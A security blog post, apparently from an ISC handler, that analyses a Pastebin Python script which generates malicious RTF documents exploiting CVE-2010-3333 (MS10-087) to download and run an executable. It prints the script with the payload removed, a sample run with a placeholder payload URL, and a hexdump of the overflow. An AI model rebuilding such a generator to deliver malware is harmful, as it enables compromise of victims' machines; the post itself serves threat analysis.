The number of malicious documents generated every day keeps growing for a while. To produce this huge amount of files, the process must be automated. I found on Pastebin a Python script to generate malicious Office documents. Let’s have a look at it.

(Note: The payload has been removed to prevent the script to be used “as is” by script kiddies)

import binascii
import sys
import time

print "Microsoft Office 2010, download -N- execute "
print " What do you want to name your  .doc ? "
print " Example:   TotallyTrusted.doc "
filename = raw_input()

print " What is the link to your .exe ? "
print "HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe   "

url = raw_input()

print "Gears and Cranks working  mag1c in the background  "
time.sleep(3)
close="{}}}}}"
binme=binascii.b2a_hex(url)
file=(‘ … base64 content removed … \n')
textfile = open(filename , 'w')
textfile.write(file.decode('base64')+binme+close)
textfile.close()
time.sleep(3)
print “enjoy"

The script is very simple. It asks you for a filename and the URL that will serve the malicious file to be downloaded and executed on the victim's computer. Just be reading the strings '{}}}}', you can guess that the script generates an RTF document.

$ python maldoc_generator.py
Microsoft Office 2010, download -N- execute
 What do you want to name your  .doc ?
 Example:   TotallyTrusted.doc
example.doc
 What is the link to your .exe ?
HINT!!:: Feed me a url. ie: http://super/eleet/payload.exe
http://webserver.com/sample.exe
Gears and Cranks working  mag1c in the background
enjoy

The generated file is indeed a malicious RTF document:

$ file example.doc
example.doc: Rich Text Format data, version 1, unknown character set

Of course, my brand new file was unknown on VT. Let’s upload it and it gets immediately a good (or bad - depending on your position) score of 31/57[1]. This is normal, the payload uses the good old CVE-2010-3333 better known as MS-10-087[2]. You can recognise the RTF keyword 'pFragments' which is the cause of the buffer overflow:

00000500: 7b5c 736e 7b7d 7b7d 7b5c 736e 7d7b 5c73  {\sn{}{}{\sn}{\s
00000510: 6e7d 7b5c 2a5c 2a7d 7046 7261 676d 656e  n}{\*\*}pFragmen
00000520: 7473 7d7b 5c2a 5c2a 5c2a 7d7b 5c2a 5c2a  ts}{\*\*\*}{\*\*
00000530: 5c73 767b 5c2a 7d39 3b32 3b66 6666 6666  \sv{\*}9;2;fffff
00000540: 6666 6666 6623 3035 3030 3030 3030 3030  fffff#0500000000
00000550: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000560: 3030 3030 3030 3030 3030 3030 3030 3030  0000000000000000
00000570: 6530 6239 3263 3366 4141 4141 4141 4141  e0b92c3fAAAAAAAA
00000580: 4141 4141 4141 4141 4141 4141 4141 4141  AAAAAAAAAAAAAAAA

Today, it is quite easy to find document generators for all types of vulnerabilities and you don't need to go to the dark web for this purpose. CVE-2017-0199 remains a very popular one for a few months.

Just for the fun, I generated the malicious document with the example URL provided in the source code (http://super/eleet/payload.exe) and it was known on VT! Yes, script kiddies are still alive...

[1] https://www.virustotal.com/#/file/4cddfa1c6223ebbd676dbd8fcb46d8b3864ca10c6e40820103e246e7d6d57f3d/detection
[2] https://docs.microsoft.com/en-us/security-updates/securitybulletins/2010/ms10-087

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key